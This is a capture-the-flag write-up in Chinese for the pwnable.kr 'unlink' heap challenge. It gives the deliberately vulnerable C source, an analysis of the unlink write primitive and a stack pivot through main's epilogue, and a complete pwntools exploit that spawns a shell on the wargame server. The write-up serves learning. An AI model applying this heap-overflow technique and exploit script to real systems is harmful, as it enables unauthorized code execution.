#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
可以看到,是 32bit 程序,只启用了NX,没启用canary。
giantbranch@ubuntu:~/pwnable/unlink$ file unlink
unlink: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=3b89c9c89761e7ff1727d2ed9cf0117d3313a370, not stripped
giantbranch@ubuntu:~/pwnable/unlink$ checksec unlink
[*] ‘/home/giantbranch/pwnable/unlink/unlink‘
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
程序逻辑非常清晰:
这道题目我认为自己可以走出来,所以没看别人的writeup。先对程序进行调试,看看A/B/C在内存中的结构。
从main反汇编代码可以看到四次call malloc
从第二次 malloc 开始,push 0x10表明struct tagOBJ 大小为0x10 字节。malloc 返回值在eax中,所以
mov DWORD PTR [ebp-0x14], eax
mov DWORD PTR [ebp-0xc], eax
mov DWORD PTR [ebp-0x10], eax
表明三个变量 A/B/C 在栈中分别是 ebp-0x14/-0xC/-0x10
先看看此时内存的结构:
可以画出此时的内存图,A/B/C 之间相隔 0x28-0x10 = 0x18 的距离,去掉struct大小,还有8btye的空间:
构造双向链表
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
此时的内存内容:
对应的内存图:
随意输入8个A,当正常完成 unlink 之后:
A->bk 和 C->bk 的值都发生了变化。
现在对题目的内容和内存结构已经非常清楚了,结合注释 exploit this unlink! 可以知道,突破点就在这几行代码:
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
分析下:
现在就差如何控制EIP了,怎么办?两种思路:
Opcode | Mnemonic | Description |
---|---|---|
C9 | LEAVE | Set SP to BP, then pop BP. |
C9 | LEAVE | Set ESP to EBP, then pop EBP. |
RET 指令的说明:Transfers program control to a return address located on the top of the stack.
ret 指令会取 esp的值作为eip去执行。
lea esp, [ecx-0x4]
ecx的值来自于 [ebp-0x4],如果我们将 [ebp-0x4] 指向控制的堆块地址X,然后 X- 4 的地方防止 shell函数入口,那么 [ecx-0x4]就会执行我们的shell函数。示意图如下:
此时黄色区域都是我们可以控制的
此时可以有多种布局方式:
针对第一种方式,payload 布局:
payload = ‘a‘ * (0x8 + 0x4) + p32(&shell) + p32(int(heap_a,16) +0x10 + 0x8) + p32(int(stack_a, 16) + 0x10)
针对第二种方式,payload布局:
payload = ‘a‘ * 0x8 + p32(&shell) + p32(int(heap_a, 16) + 0x10 + 0x4) +p32(int(heap_a, 16) + 0x10 + 0x4) + p32(int(stack_a, 16) + 0x10)
上面shell函数 地址通过 b shell 得到,为 0x80484f1,可以发现,该地址是固定不变的。
完整的exp:
from pwn import *
context.log_level = ‘debug‘
#p = process("./unlink")
#pwnlib.gdb.attach(proc.pidof(p)[0], gdbscript="b *0x080485e9\nb *0x80485f7\nc\n")
s = ssh(host = ‘pwnable.kr‘, port = 2222, user = ‘unlink‘, password = ‘guest‘)
p = s.run(‘./unlink‘)
p.recvuntil("here is stack address leak: ")
stack_a = p.recvuntil("\n", drop=True)
p.recvuntil("here is heap address leak: ")
heap_a = p.recvuntil("\n", drop=True)
p.recvline()
#try1: main‘s eip cannot be modified
#payload = ‘a‘ * ( 8 + 0x8) + p32(0x80484f1) + p32(int(stack_a, 16) + 0x18)
#try2: sigerr fd->bk cannot write
#shell + FD + ‘a‘ * 12 + main_ebp-0x4
#payload = p32(0x80484f1) + p32(int(heap_a, 16) + 0xc) + ‘a‘ * (0x8 + 0x4) + p32(int(stack_a, 16) + 0x10)
#try3: nop * 0xc + shell + FD + BK
# payload = ‘a‘ * (0x8 + 0x4) + p32(0x80484f1) + p32(int(heap_a, 16) + 0x10 + 0x8) + p32(int(stack_a, 16) + 0x10)
#try4: nop * 0x8 + shell + FD + FD + BK
payload = ‘a‘ * 0x8 + p32(0x80484f1) + p32(int(heap_a, 16) + 0x10 + 0x4) + p32(int( heap_a, 16) + 0x10 + 0x4) + p32(int(stack_a, 16) + 0x10)
print payload.encode(‘hex‘)
p.sendline(payload)
print p.recv()
p.interactive()
看看其他人的解法。
通过 gdbscript,可以把输入自动化,断点自动化,方便进一步调试。
这是目前用的。shellcode 的有空再补充。
stack 上面还是想办法拿到 eip
对于 main 函数,考虑ret前,通过其他函数拿到修改 ecx 的机会。
原文:https://www.cnblogs.com/handt/p/12688831.html